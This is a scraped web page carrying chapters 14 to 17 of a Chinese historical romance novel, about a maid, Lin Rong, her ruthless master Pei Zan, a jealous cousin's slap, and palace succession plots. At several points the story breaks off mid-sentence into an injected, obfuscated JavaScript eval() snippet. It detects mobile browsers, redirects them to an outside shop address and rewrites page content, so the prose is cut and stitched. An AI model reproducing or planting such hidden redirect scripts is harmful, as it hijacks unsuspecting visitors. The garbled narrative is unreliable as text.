只可惜,高门小少爷锦衣玉食长大,上有宗兄长嫂掌家,下无弟妹需他管教,一来二去,性子就被磨得软乎、没担当,娶了媳妇儿也不知疼人。 沈佳婚后过得不顺,才三年便与夫婿和离,回到娘家。 逢年过节,沈氏倒是有给沈佳递过帖子,邀她来裴家游玩,但沈佳毕竟是成过婚的妇人,她怕被那些江州闺秀指指点点,从来不愿出门访亲。 今年倒是奇怪,竟愿意来裴府做客了。 绿珠想一想就明白了,沈佳分明是醉翁之意不在酒。她屁颠颠跑来玉尘院,可不就是想见裴瓒? 难不成沈佳还想着和裴瓒“再续前缘”啊?可大少爷之前就没看上过沈佳啊。 绿珠比林蓉强势,她笑着拦下沈佳,“对不住,沈小姐,大少爷有吩咐,不论谁来玉尘院都得出示名帖,不然不得入内。况且大少爷今早出门办事去了,还未回府,您来也是白跑一趟。” 沈佳记得绿珠曾是姑姑跟前伺候的大丫鬟,如今被调到玉尘院来,想也知道,定是送给裴瓒收用的通房丫鬟。 想到这里,沈佳心里莫名泛起了一重酸酸涩涩之感。 原本她眼高于顶,不屑同这两个丫鬟攀谈,如今想到裴瓒可能与其他女子有肌肤之亲,竟也忍不住垂眸,细细打量一番。 绿珠这丫头,沈佳是熟悉的,她的性子泼辣,人也生得明艳,府上有不少小厮管事同她示好。 至于另外一位……沈佳认真看了林蓉一眼。 只一眼,沈佳便愣在原地。 她常年敷粉,自然知道林蓉不施粉黛,顶的是一张清水脸子。 即便林蓉没有描眉抹脂,竟也皮肤白皙如玉,唇红如樱,生得这般月貌花容,比之那些后宅闺秀,亦不输多少。 沈佳轻咬了下唇,不知为何,胸口发闷。她知道今天闯不进玉尘院,只能另辟蹊径。 旋即沈佳把一封信交予林蓉,对她道:“既然大表哥不在,那我便不入内叨扰了。只这封信,你帮我转交给他,信纸上写了一句诗,你念给他听,他自然懂了。” 少时沈佳来裴府游玩,也和裴致远他们一起听过裴瓒念书。 信上这首诗,便是裴瓒教给她的。 彼时的裴瓒着一袭青衫,端坐于枣木案前,他身影清癯,翩然出尘,连那些柔美绚烂的夏花都偏爱他,枝桠被日光招摇,稀疏流泻一地花影,映在他素色衫袍,仿佛印下几道雅致的暗花绸纹。 沈佳一直记得裴瓒风华绝代的仪容,她一直对这位表哥暗生情愫,即便嫁了人,心中依旧记挂,夜里辗转榻间,千百回梦到他。 沈佳只盼裴瓒看到这首诗,能想起那些儿时过往。 沈佳殷切吩咐林蓉,但林蓉盯着那一个个簪花小楷,有些犯难:“沈小姐,不是奴婢不愿帮忙传话……而是、而是奴婢不大识字,恐怕帮不了这个忙。” 天爷,一行十个字,她十个都不认识。 但林蓉不想沈佳失望,给她想了个折中的法子:“不过奴婢虽然不认字,但奴婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好一个贱婢、浪蹄子、刁奴! 沈佳眼眶发红,心里委屈。 现在所有人都知道她存着“破镜重圆”的心思,就连几个低贱的下人也敢给她脸色瞧,当真是可恨。 - 林蓉看着沈佳生气离开,连脚步都踏得咚咚响,不免心里忐忑不安。 好歹是大少爷的表妹,她们惹到了府上宾客,也不知会不会挨罚。 等沈佳走远,绿珠总算想起送信的事儿了。 她刚才帮林蓉出气,才敢和打秋风的表小姐对上,如今一想到还要给心狠手辣的裴大少爷送信,顿时腿脚发软。 绿珠讨好地笑:“蓉儿,我教你这首诗怎么念,你去给大少爷送信好不好?” 林蓉看她一眼,无奈地点点头。 林蓉知道绿珠是想护着自己,才会开罪沈佳。她承绿珠的情,自然也愿意帮绿珠领罚。 毕竟裴瓒的责骂、惩戒,对林蓉来说都是不痛不痒的小事。能讨裴瓒的嫌,反倒是林蓉求之不得的事。 夜里,林蓉照常上花厅,殷勤侍奉裴瓒用膳。 她怀揣那一纸信笺,如捧烫手山芋。眼风频频扫向裴瓒,欲言又止。 裴瓒目力敏锐,自是觉察旁人的古怪。 他冷声问:“何事?” 林蓉老实跪地请罪:“今儿沈佳小姐前来玉尘院送信,奴婢口舌笨拙,好似将沈佳小姐气哭了……还请大少爷责罚。” 林蓉本以为裴瓒会趁机兴师问罪,哪知他听完前因后果,只蹙眉问了句:“她来作甚?” 林蓉奉上怀里的信笺,交到裴瓒桌前,“来给大少爷送信的。” 裴瓒淡扫一眼信纸,看到那句诗词,心中了然。 这是来“叙旧”的。 只可惜,裴瓒当年待沈家人亲和,无非是自己羽翼未丰,在人前虚与委蛇罢了。 谈何旧情颇深。 裴瓒无意应付这些细枝末节的琐事,他捻过那封信笺,连蜂蜡都不曾开启,便丢到炭盆里燃尽了。 林蓉见状,两眼发直,目瞪口呆。 裴瓒静静旁观那一纸“情意”化为焦黑尘烬,“日后没我吩咐,不必将旁人放入玉尘院。” 林蓉亲眼目睹自家主子的薄情寡义,她张了张嘴,小声应下:“……是。” 15. 第十五章 第十五章 京城,大雪。 满城银装素裹,就连太常殿的重檐歇山顶上,也积了厚厚一片雪。 为了防止风霜漏进梅花槛窗,宫里的内侍一早便取来挡雪的宝相花毡毯,扑在镶了琉璃的雕花木窗上。 殿门半遮半掩,不止烧了地龙,各个角落还摆了烧足银炭的火盆,直催得枣木香几上的那几枝含苞腊梅都开了花。 裴贵妃从大太监周保手中接过那一碗熬得浓稠的汤药,又亲自扶了元庆帝起身,递去痰盂供他咳嗽,“陛下,您轻些,咳伤了嗓子,臣妾会心疼的。” 元庆帝咳得满脸通红,好不容易缓过神来,裴贵妃急忙塞上一个装满了干菊、百合片的安神药枕,供他垫腰。 待元庆帝坐定,裴贵妃又小心喂去一勺汤药,笑说:“瞧着陛下今日精神头不错,待会儿可要让人支窗,赏一会儿雪景?” 元庆帝摇头:“不必了。” 他看着裴贵妃那张年轻娇俏的脸,又看了看自个儿早已老态龙钟的手,叹息道:“兰芳,最近当真是苦了你了。” 裴贵妃的闺名是兰芳,昔年床笫间,皇帝情动时,也是情愫深重,一声声唤她“兰芳”。 裴贵妃闻言,不免心头发酸,泪盈于睫。她放下汤碗,依偎进元庆帝的怀中,无不酸楚地道:“陛下定要快些好起来,臣妾与山儿都盼着陛下大安呢……” 元庆帝亦是拥住爱妃,连连感叹:“朕知道、朕不能舍下你们母子俩。” 裴贵妃紧挨着元庆帝,殷殷切切说了好一番话,直将元庆帝哄睡,方才蹑手蹑脚出了寝殿。 风雪迷眼,待裴贵妃步上轿辇,双手插.进那只白狐袖筒暖了暖,方抹去眼角泪花,将那些伤神之色尽数散去。 她沉着脸,唤人起驾回宫。 裴贵妃单手支着额穴,不免回想元庆帝之前含情脉脉唤的那句“兰芳”。 初入宫的时候,陛下正值盛年,又生得高大威武,极具帝王威严,裴贵妃确实心折于他的九武至尊的气概,但时间久了,她便知道,皇帝盛宠她,无非是因她一双明眸善睐的美目像极了仙逝的沈皇后。 沈皇后是元庆帝早年在潜邸娶的发妻。 彼时的元庆帝不受先皇待见,又出身婢腹,连夺嫡的资格都没有,但他并未自哀自怨,反倒蛰伏藩地多年,韬光养晦,直至手握兵权那日,一举攻入京城,登上王位。 元庆帝与沈皇后多年夫妻,伉俪情深,本该是令人艳羡的一对爱侣。 奈何沈皇后出身寒微,又与元庆帝相伴微末,过足了平凡夫妻的生活。她受不了元庆帝三妻四妾,夜宿其他女子的帐帷。在诞下大皇子后,沈皇后挑了元庆帝生辰那日,焚宫自毁,死于禁庭。 元庆帝痛斥沈皇后实乃妒妇,令他在群臣面前颜面尽失,还迁怒于妻族,甚至冷落嫡长子陈文晋多年。 也是这时,善解人意的裴贵妃就此入了元庆帝的眼。 裴贵妃年轻貌美,性子又如解语花一般可人,三千佳丽,只她一人椒房专宠,不过两年便诞下了二皇子陈逸山。 元庆帝不但对裴贵妃所出的二皇子疼爱有加,还时常领二皇子陈逸山上朝听政。 不仅如此,元庆帝还抬举裴家子弟,栽培裴瓒,一副要为二皇子日后即位铺路的样子。 可唯有裴贵妃知道,元庆帝若当真痛恨沈皇后,又怎会每年在沈皇后忌日那天罢朝,将自己锁进坤宁宫里一夜不出。 他若是对沈皇后唯有恨意,又怎会午夜梦回,时常唤错名字,将裴贵妃认成他的“兰儿”,再睡梦间紧紧拥她入怀。 若非心中还有亡妻的一席之地,元庆帝又怎会挑选那些沈皇后生前爱重的玛瑙耳坠、兔毛红绸斗篷,将裴贵妃装扮出一二分前人的影子,也好借她睹物思人? 裴贵妃心知肚明,元庆帝忘不了他的亡妻。 她不过是沈皇后的替身。 元庆帝伤其长子,无非是因爱生怨,想让地底下的发妻知道,没她的庇护,她的儿子也不能好过…… 这是元庆帝的怨,也是他对沈皇后自焚的惩罚。 就连元庆帝培植裴瓒,此举恐也有深意在内,无非是为了竖起一个众矢之的的靶子,想将二皇子陈逸山推到人前,如此便能庇护沈皇后生下的长子陈文晋安然无恙。 恨之深,爱之切。 活人是鱼目、腐珠,又怎及得上死人这轮皎白月光。 裴贵妃回到梅园,静候多时。 很快,有内侍未经传召,鬼鬼祟祟迈进梅园,同裴贵妃耳语:“娘娘,您料得不错。周大监那边传来消息,陛下刚有些气色,便密召阁臣入殿,起草遗诏,还让吕学士代为拟旨……听陛下的意思,立储一事,自是要遵循祖制。” 裴贵妃手中的花枝咔嚓断了,她睁开一双美眸,语气森然:“好一个遵循祖制。” 那岂不是立长不立贤? 皇帝果然要立大儿子为皇太子! 他当真狠心,竟要拿她的二儿子,为沈皇后的大儿子去挡那些明枪暗斗,待帝途亨通,再推长子御极即位,世上哪有那么好的事? 难怪元庆帝急召裴瓒上京述职……这是想趁机折断她的左膀右臂啊! 裴贵妃冷笑一声。 一纸遗诏算什么,只要她的侄儿裴瓒争气,不过矫诏罢了,她儿照样能登基。 倒是元庆帝莽撞,既已经将裴瓒养成了茹毛饮血的恶狼,又怎敢期盼他收敛嗜血本性,变回一条任打任骂的家犬? 元庆帝将裴瓒逼到这样一条死路上,他不起兵谋反,倒失了裴家人的血气。 裴贵妃有二皇子在手,她盼着侄儿能早点开窍,助她成事。 只是令裴贵妃不安的是,为何她送去的信,裴瓒迟迟没有回复……是裴瓒警惕心重,行事周密,还是当真遇到了难以摆平的麻烦? - 江州。 裴瓒按兵不动,确实是在静候时机。 托巡抚徐峻茂的福,裴瓒截获了那一批数十万石的粮草,正好作为军饷,用以喂养裴瓒麾下强盛的兵马。 裴瓒“养伤”的这一个月,他收到无数封那位贵妃姑姑送来的密信。 然而每一封信,都被裴瓒衔于白皙长指,递于烛台,焚烧殆尽。 都说枪打出头鸟,他便是裴贵妃膝下的犬马,也不应指哪儿打哪儿。 况且……比他心急的,大有人在。 裴瓒凤眸低垂,淡扫一眼黑隼送来的线报。 信笺上残余“秦王”二字。 很快,那张纸也被火焰吞噬,蜷曲成暗色灰烬,消散于炭盆。 - 夜里,沈氏命人给玉尘院送了一盅甜汤,说是给裴瓒补补身子。 冯叔看到那碗羹汤,当即拦了下来,当着林蓉的面泼了。 林蓉目瞪口呆,她没胆子这样糟蹋主家的羹汤。 冯叔却笑着教她:“甭管什么人示好,咱们都要以主子为重,说句僭越的,便是天王老子送来的汤,没试毒之前,也不可呈于大都督案前。” 林蓉受教,又问:“那大少爷还喝汤吗?” 冯叔有意抬举林蓉,打了一棍子,便要塞一颗蜜枣了。 冯叔:“喝,你去公厨那头重新炖一碗甜汤端来,记住了,食材都要自己验看过,也不可假手于人,汤熬好了还得亲自试毒,方可献给大少爷。” “知道了。” 林蓉是个实诚的姑娘,冯叔怎么安排,她就怎么照做。 一碗汤端到房中,她还如梦初醒一般,从食盒里拿出另一只碗,当着裴瓒的面小饮一口,再奉给主子。 “大少爷,没毒,能喝了。” 不消说,裴瓒也知林蓉这番谨小慎微的做派是冯叔教的。 裴瓒仍在批阅那些军防文书,他头也不抬,道:“不必这般谨慎,内宅之中,还无人敢对我下毒手。” 况且,世上无色无味的毒药少有,若非那等融于酒水的风月媚.药,等闲虎狼之药,裴瓒能辨出来。 林蓉懵懵懂懂地点头。 她本想退下休息,可裴瓒却并未放她离开,反倒是道了句:“将柜中的《武经》取来。” 他要给副将郑至明送信,指点军策。为防信笺被人截获,倒不如以撕下一页兵法作为回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么多年过去,那串黑沉的菩提木佛珠,仍旧悬于他的腕间。 裴瓒低眼,审视臂骨片刻,淡道:“不过是一名僧人留下的遗物,瞧着不错,便取了来。” 林蓉认真地赞叹:“大少爷是有佛缘之人。” 裴瓒眯起狭长的美目,他竟从这样一个愚钝的小丫头眼中,看出了满满的敬仰之意。 不知为何,他忽然生出了一丝兴味。 裴瓒慢条斯理地道:“是吗?只是那名僧人,似乎不愿忍痛割爱……” 说完,轮到林蓉怔住。 她没听明白,既是死者的遗物,何来“肯不肯让物”一说? 裴瓒轻扯下唇角,目露寒光:“那名僧人死时手骨僵硬,不愿松开珠串,还是我掰断了几指,才将他的遗物取来。” 裴瓒仍记得从前的事,那名山匪扮作僧人,持刀袭向他。僧人本想生擒裴瓒,再利用裴瓒勒索江州大户裴家,哪知裴瓒自小习武,不过反手一拧刀柄,便将人斩于刃下。 这串佛珠,便是僧人手持之物。 简素的菩提木浸于血水中,一窠红、一窠黑,有种诡谲的美。 裴瓒觉着不错,便斩了那人紧攥珠串的指骨,将其拾了回来。 林蓉脑袋嗡鸣,隐约猜出了故事的全貌……珠串并非僧人自愿馈赠,而是裴瓒行凶杀人,再故意将它占为己有。 他哪里是慈悲为怀的佛陀,分明是杀业深重的阎罗。 林蓉顿时哑口无言。 她脸上那种对于师长的孺慕之色尽数消散,留下的唯有瞠目结舌的惊恐。 裴瓒单手支颌,将手递至她眼下,语带蛊惑地问:“你想要?” 林蓉的视线飘忽不定,看一眼妖冶秀致的大少爷,又看一眼那串煞气沉沉的佛珠。 她听懂裴瓒的赠物之意,急忙摇头:“不、不了,此物法力通天……奴婢怕是无福消受。” “是吗?那当真是可惜了。” 16.第十六章 第十六章 又过了几天,裴瓒上京述职的日子未到,京城倒是出了乱子。 裴瓒私养的斥候队伍送来密信,说元庆帝龙体违和,病重卧榻,朝堂局势波云诡谲,地方乱党集结,杀官夺城,还有藩王揽权犯上,以秦王为首,无诏入京,美名曰担忧皇兄,特来京城探病。 秦王狼子野心,谋为不轨。 裴瓒身为渝州、江州一带的统兵都督,理应带兵围剿乱臣贼子,诛杀逆党。 但他很是沉得住气,做足了“无印绶不得统兵”的废将姿态,即便元庆帝着急,也拿他无可奈何。 毕竟明面上谁都不知,裴瓒军威甚重,便是口述军令,亦能调度数万兵马。 裴瓒作壁上观,故意不解元庆帝的燃眉之急,任秦王兵马北上入京。 但秦王朝他抛来橄榄枝,欲与裴瓒共商谋逆大事,裴瓒也装作视而不见听而不闻,只日夜巡视军营,按兵不动。 副将郑至明见状,心里也知:至少元庆帝暂时没空召裴瓒入京述职了,“上京受死”这一关,算是被他们的大都督破了。 元庆帝再如何沉得住气,也不会拿江山社稷开玩笑,既然地方起了兵事,他便要好生利用裴瓒平乱。 只是,这一次元庆帝想差遣裴瓒,恐怕就不止归还调兵印绶那么简单了。 裴瓒既受了“委屈”,自当好好讨一回天家的赏赐,方能抹去心中那些不平。 裴瓒的事,都属军机要务,林蓉自然半点都不知晓。 她只知道,近日大少爷军务繁忙,一连好几天都没回玉尘院用膳。 人不回来也不打紧,林蓉不必鞍前马后伺候主子,还乐得清闲。 而且裴瓒御下不会苛刻,他知林蓉目不识丁,也爱习字,竟赏了她笔墨纸砚,还让冯叔翻出几本儿时开蒙所用的描红字帖,送给林蓉。 东西虽然不精贵,但胜在有心,饶是冯叔也惊讶了一瞬,不由高看林蓉一眼。 能让大少爷这般上心的丫鬟,林蓉当真是第一个。 因此,冯叔也领会到主子的意思,不敢让林蓉劳累,将她白日要干的活一减再减,待裴瓒回府,再喊林蓉上跟前伺候。 林蓉白日闲暇,有了更多时间练字。 她会的字,从自己的名字,拓展到百来个。 林蓉不但会念,还会写,时常折来枯枝,在薄薄的雪地里写写画画。 她还是舍不得用那些笔墨纸砚,那些雅致之物太贵重了,而且是大少爷的赏赐,林蓉想好生攒着。 偶尔,冯叔路过林蓉的身边,见她盯着描红本,一笔一划勾勒得有模有样,还会露出个笑脸,夸赞:“了不得,咱们玉尘院要出个女秀才!” - 眼见要到一月底,沈佳久不见玉尘院的传召,又估摸着裴瓒近日或许就要上京述职了……与其坐以待毙,不如主动出击。 沈佳再度来玉尘院拜客。 她打听过了,晚上裴瓒定会回府用膳,这一次,无论如何她都得入院候着,直至见到表哥的面再走。 沈佳来的时候,绿珠正巧不在,冯叔又跟着裴瓒出门了,唯有林蓉在庭院里练字、守门。 “沈小姐,大少爷还未回府。”林蓉记得裴瓒说过,不要放人入内的话。 她委婉提醒沈佳,家中主子不在,未免招待不周,不便放沈佳入内,其实已是给沈佳留了颜面了。 但沈佳今日见人心切,无论如何都要进院子等候。 她搡开面前的林蓉,撩裙迈进门槛:“不在也没事,我就去花厅里等表哥!” 沈佳知道,裴瓒决不会来姑姑的院子见她,既如此,她只能擅闯了。 想来他们是一块儿长大的表兄妹,裴瓒定不会怪罪她的莽撞。 沈佳这般放肆无礼,执意入院,要是让绿珠来行事,一准儿会允她进来,擎等着裴瓒回府发怒,再狠狠惩治沈佳。 但林蓉是个实心眼,她既受了裴瓒的恩惠,自当尽心竭力办到裴瓒吩咐的差事。 毕竟林蓉为奴多年,也就裴瓒起了闲心,愿意教她读书写字。 大少爷是大好人,林蓉会帮他守好院子。 思及至此,林蓉又上前一步,毕恭毕敬地拦下沈佳:“沈小姐,主子有吩咐,不许外人入院。您要是实在有事,给奴婢留个口信儿,奴婢代为通禀,行吗?” 说到这件事,沈佳心里就来气。 她眼风一扫面前这个相貌明丽的小丫鬟,冷哼一声:“上次给你送的信,你是不是私自昧下,没呈给表哥看?” 不然裴瓒怎会不找她? 林蓉结巴了一瞬,实诚地道:“大少爷把信……烧了。” “烧了?!”沈佳只觉得一股火气直冲天灵盖,烫得她脸上、耳珠俱是火辣辣的。 又想到眼前的小姑娘定被裴瓒收用过,沈佳心里五味杂陈,幻想出了一副旖旎画面——林蓉这个装憨的狐狸精,定是依偎裴瓒怀中,故意私下拿她送去的书信与裴瓒说笑,以此取乐。 不过一个粗鄙的外院丫鬟! 不过一个贱奴! 沈佳急火攻心,深感难堪,不由扬手,扇向林蓉的脸颊。 啪——! 一声巨响。 饶是林蓉眼疾手快地躲开,她的颈侧、下颌还是受了那一记耳光的凶悍力道。 女孩的雪肤瞬间漫开一片红肿的指痕,疼得林蓉直皱眉。 回院的绿珠远远看到,惊叫一声,上前推开了沈佳。 “沈小姐!你疯了不成?!蓉儿是大少爷的丫鬟,即便要打也得请示大少爷,你如何能动手,越俎代庖代为管教,真不怕大少爷动怒吗?!” 沈佳这一巴掌摔下去,心里也是后悔万分。 要是给裴瓒留下一个不能容人的妒妇模样,岂不是更糟了? 她如梦初醒一般,后退了一步:“我、我……” 林蓉不愿事情闹大,她咬紧了腮肉,低眉敛目地行礼:“还请沈小姐消消气,先回院子里静候。大少爷早前吩咐过,不让旁人入院,如您有事求见,奴婢会代为通传。” 事情都闹到这个份上了,林蓉还好声好气地劝沈佳离开。 闻言,沈佳到底理亏,只能心情复杂地离去了。 待沈佳一走,绿珠立马恨铁不成钢地瞪了林蓉一眼,既心疼又生气地骂她:“你是个蠢的不成,就站着挨打呀?” 林蓉捂着脸,小声嘶了下,笑道:“躲了的,没躲开。” “笨死了!不成,这事儿得告诉大少爷,我还不信了,咱们也是大房的丫鬟,还能让一个打秋风的表小姐欺负了去!” 绿珠风风火火,作势要找冯叔禀报,林蓉忙拉住她,对她道:“算了算了,让主子为我一个小丫鬟出头,也太为难人了。” 毕竟林蓉是裴瓒的丫鬟,让沈佳打了去,到底丢人。 不论裴瓒为此事迁怒沈佳,还是忍下这口气,主子的脸面都不大好看。既如此,倒不如林蓉识趣一些,把这口污糟气藏好了,免得裴瓒难做人。 想到这里,林蓉又晃了晃绿珠的袖子:“好姐姐,别管了,真没什么事。这样,我去敷药,今晚的膳菜,你帮我布吧?” 顶着这样一张巴掌印的小脸,明晃晃从大少爷跟前经过,岂不是此地无银三百两?还是明天消肿了再去裴瓒面前问安。 绿珠无可奈何,但想到近日裴瓒的脾气还行,没打杀什么奴仆,她便也睁一只眼闭一只眼,将此事接下了。 哪知,今晚布膳,绿珠还是惹得裴瓒不快。 紫檀木圈椅里端坐的主子掠去一眼,见侍膳的丫鬟换了人,不免眸光不善,寒声质问:“林蓉在何处?” 绿珠闻言,当即跪下了,她还是畏惧裴瓒那凛人的威压,战战兢兢地道:“蓉儿身子不适,今晚便让奴婢在大少爷跟前侍膳。” “身子不适?” 绿珠本想用什么癸水一类的借口搪塞过去,但一想到沈佳趾高气昂打人的嘴脸,又忍不住抱怨:“是沈佳小姐擅闯玉尘院!她非要入内见大少爷,被蓉儿一拦,心生火气,那巴掌印就落下了。大少爷,您是不知道,蓉儿挨了这一记耳光,腮帮子肉都肿了老高,要不是敷了药膏,恐怕都能破相了。” 裴瓒素来知道,这个名唤绿珠的丫鬟性燥,最喜搬弄是非,但唯独一点,她与林蓉交情颇深,倒不至于胡诌家宅事。 裴瓒轻呷一口茶,想到林蓉杏眸含泪的模样。 林蓉的确好欺,纵使他恶意横生,将长指碾进深.喉,她再如何难受,吞咽不下,也会竭力承受…… 裴瓒垂眸,放下茶盏,“我知道了,退下吧。” 打狗也得看主人,大太太这事办得倒是僭越。 - 霜降院。 大夫人沈氏听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493213|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻裴瓒要来,忙招呼下人去灶房备膳。 不仅让人炖上鲫鱼汤、还摆了栗枣耿饼,热上一壶专供宫廷所用的御酒芙蓉液,甚至喊了沈佳来作陪。 沈佳今日大闹玉尘院的事并未告诉姑姑,但她想着,裴瓒来大房,怎么都不可能是为一个挨打的丫鬟出头。 裴瓒上嫡母的院子做客,定是知道沈佳三番两次上门请人,特意来见她一面。 一想到裴瓒专程来见自己,沈佳的心里就甜丝丝的,好似喝了蜜一般。 院子里刚掌起红绡灯,一抹肩背峻拔的身影便翩然而至。 裴瓒一如沈佳记忆中那般俊逸清隽,只那双眉眼不再如儿时温和,反倒蕴含了上位者不怒自威的锋芒,令人不敢直视。 裴瓒神情肃穆,没披狐氅,见了沈氏也不过点头致意,坐于上首。 在沈氏想要亲手递去暖炉关照儿子的时刻,裴瓒嗓音泠然地问:“若我没有记岔,沈家小舅可是在布政司任左参议?” 沈家也算江州大户,只是家中子弟不争气,做生意各个内行,科考仕途上半点不开窍,唯一爬得高的那人,也就沈氏的同胞弟弟沈潭,如今在布政司任个从四品的官吏。 沈氏不知裴瓒为何提起小舅,但她往好处想,许是儿子总算明白母族的好处,想和沈家一条心,提携提携亲戚,也好培养几个心腹官吏。 沈氏心中一喜,笑道:“瓒哥儿记性倒好,你小舅确实是在布政司当差。” 裴瓒微弯唇角,弧度不显:“小舅虽只是个从四品的参议官,可在外行事的派头倒大。单说去年,小舅为瞒石坝用料简陋,致溃口决堤,故意将灾情暂封,又私动户帖黄册,将灾民的死讯改为意外身死,如此便免了被上峰责难的罪名……只他下手不够利落,留下些痕迹,念及初犯,又是我的外家亲戚,怕事情闹大不好看,藩台专程将此案送到儿子的桌前。” 此言一出,沈氏莫说脸上的笑模样,便是魂魄都吓没了。 她的唇瓣惨白,似哭似笑地道:“瓒哥儿,那可是你亲舅舅,你不能不保他呀!” 裴瓒微抬墨眸,眼中冷色蜇人:“太太老糊涂了,儿子是不是从您肚子里爬出来的,您难道不知么?既不沾血脉,何来甥舅亲缘一说。” 沈氏被裴瓒噎得够呛,她既惊又怕,不知裴瓒何故发难,但她知道眼下是火烧眉毛的急事儿,只能苦苦哀求:“这账目乱的,你小舅那个人,为娘知道,胆小怕事,为人谨慎,恐也不是一人之失。其中有些猫腻,还需细致查探。算为娘求你,瓒哥儿,你得帮忙保住你小舅啊……” 裴瓒抬眸,目光清淡,瞥向沈佳,又对沈氏道:“毕竟是沈家的亲戚,儿子自然会看顾一二……此账能平。” 沈氏得了他一句准话儿,心里松一口气。 没等她安心,裴瓒又意味深长地接了句:“只要太太日后谨言慎行,少往儿子的院子里塞人,我自然会顾念旧情,不来给太太添堵。” 说完,沈氏再蠢都知道,定是沈佳惹了裴瓒的嫌! 比起一个外嫁和离的隔房侄女,当然是自家支应门庭的胞弟重要。 沈氏气不打一处来,恶狠狠地瞪了沈佳一眼,直将小姑娘看得心惊肉跳,低头不敢言。 裴瓒心知肚明,边鼓敲够了,沈佳此番定会吃不了兜着走,他也不再在霜降院逗留。 “今日的晚膳便算了,已倒了胃口,不必再吃。”裴瓒撩衣起身,临走前丢下一句,“还有,我的表字玉衡,如今已是及冠儿郎,太太日后需得慎言,在外莫要再唤儿子幼称。” 这是要和沈氏撇得一干二净的意思,果然是养不熟的白眼狼! 沈氏气得呕血,血气翻涌,一句“逆子”堵在喉头。 但想到此子权势滔天,又是胞弟的上峰,拿捏他们沈家跟拿捏一只蝼蚁一般轻便,诸般罪名下来,恐怕几个沈家都不够军所兵丁抄的。 沈氏忍气吞声,讷讷不敢言,只能赔笑送人离去。 裴瓒前脚刚走,后脚沈氏的耳光便摔上了沈佳的脸,气得大骂:“蠢妇!让你去柔情小意勾搭表哥,你非要惹他做什么?!这下可好,人家记上仇了,你小叔仕途不顺,怕是得有几年小鞋穿呢!” 沈佳哭倒一旁,捂住刺痛的脸,一句话都不敢说。 沈佳哪里知道,一个外院丫鬟也有这般滔天的神通,竟能说动裴大都督来为她出气啊! 17.第十七章 第十七章 裴瓒回到玉尘院,吩咐冯叔将林蓉召来。 林蓉今日没差事做,她本来都打好热水准备擦身入睡了,一听大少爷的传召,立即提起十二分精神应付。 林蓉穿戴齐整,又看了一眼铜镜里仍旧红肿的脸,咬了下唇,利落地走出门。 裴瓒既然非要见她,可见是绿珠姐姐出了什么差池,那她脸上的伤估计也瞒不住,倒不如大大方方和大少爷道明始末。 果然,林蓉一进花厅,一旁的绿珠就同情地看了她一眼,示意她一定要好生伺候,大少爷今晚不大对劲。 待奴仆们都鱼贯退下,林蓉躬身低头,垂眉敛目地屈膝:“奴婢给大少爷问安,您可有吩咐?” 林蓉不敢抬头,她的视线下移,看那一片拂地的槐花黄绿织金锦袍。 裴瓒行军征战时常穿骑服甲胄,平时待在府衙或是燕居家宅,则穿宽袖长摆的圆领袍衫。 林蓉帮裴瓒收拾过衣橱里的衫袍大氅,她知裴瓒喜青衫、白袍、黑氅,倒都是素雅幽静的颜色,那等金橙软粉不是他的口味。 林蓉久不闻裴瓒开口,她被他干巴巴晾在这里,不免在想……裴瓒今日穿的青袍可有什么讲究?心情好的时候穿黑还是穿绿?她是不是又碍着他的眼了?是不是又要被他责罚了? 屋外的雪簌簌落上衰枝凋花,盐粒子一般沙沙地响。 屋内,裴瓒单手支着下颌,凤眸微抬,逡巡了一眼面前局促不安的小姑娘。 许是玉尘院的活计不多,林蓉今晚没梳发辫,还有闲心拧个双环髻。柔亮乌黑的发髻缠着两条纤细的报春红丝绦,浅浅的红,既不锋锐,亦不刺眼,反倒有种符合女孩年纪的鲜活艳丽。 只她的发饰实在少,除却丝带,竟没有其他银簪、绒花点缀,未免太过单调。 还有那一身杏色薄袄,裤圈都塌线,线脚不平,可见是后来才细密缝补上的。冯叔不是给她送去衣饰了吗?为何还穿得这般寒酸? 裴瓒眸光森冷,慢声问:“赠你的袄裙,为何不穿?” 林蓉错愕地抬头,轻轻分唇,啊了一声。 良久,她细声细气解释:“大少爷的赠物太过贵重,奴、奴婢舍不得穿……” 其实除了舍不得的原因,还有另外一重深层次的原因。那些衣料太华贵,是她高攀不起之物,林蓉安分守己,与玉尘院的一切泾渭分明,既然她早晚要出府,那她就不能再受裴瓒任何恩惠。 林蓉的话语虽然含着自贬之意,但也有珍视之情,裴瓒听得顺心,没再为难她。 “林蓉,过来。” 林蓉依言靠近,不等她开口询问,一只宽厚温热的大手,已然掐在她的下颌,迫她仰头。 林蓉如同溺水的人一般受惊,被裴瓒的寒目一慑,那种浑然天成的勋贵威严扑面袭来,撼得林蓉连呼吸都噎在喉头。 她惊慌失措,迎上男人那双淡漠出尘的凤目,顿时一动都不敢动了。 林蓉眼睁睁看着裴瓒低头俯就。 蓊郁浓烈的檀香漫开,一股脑涌进林蓉的口鼻,萦绕她的唇齿,她被深长的异香包裹,意识有点迷离。 那一道冷若霜雪的视线,沿着她圆润的脸颊、细腻的雪颈,肆意妄为地扫荡。 直到裴瓒将指肚摁上林蓉的颊侧,痛感惊得她一个激灵,忍不住低低嘶了一声。 裴瓒静静看着那一个红肿的巴掌印,低声质问:“为何不躲?” 林蓉明白了,裴瓒在问她,沈佳掌掴的时候,她怎么不躲。 林蓉想了想:“大少爷说了,不能放人入内。” 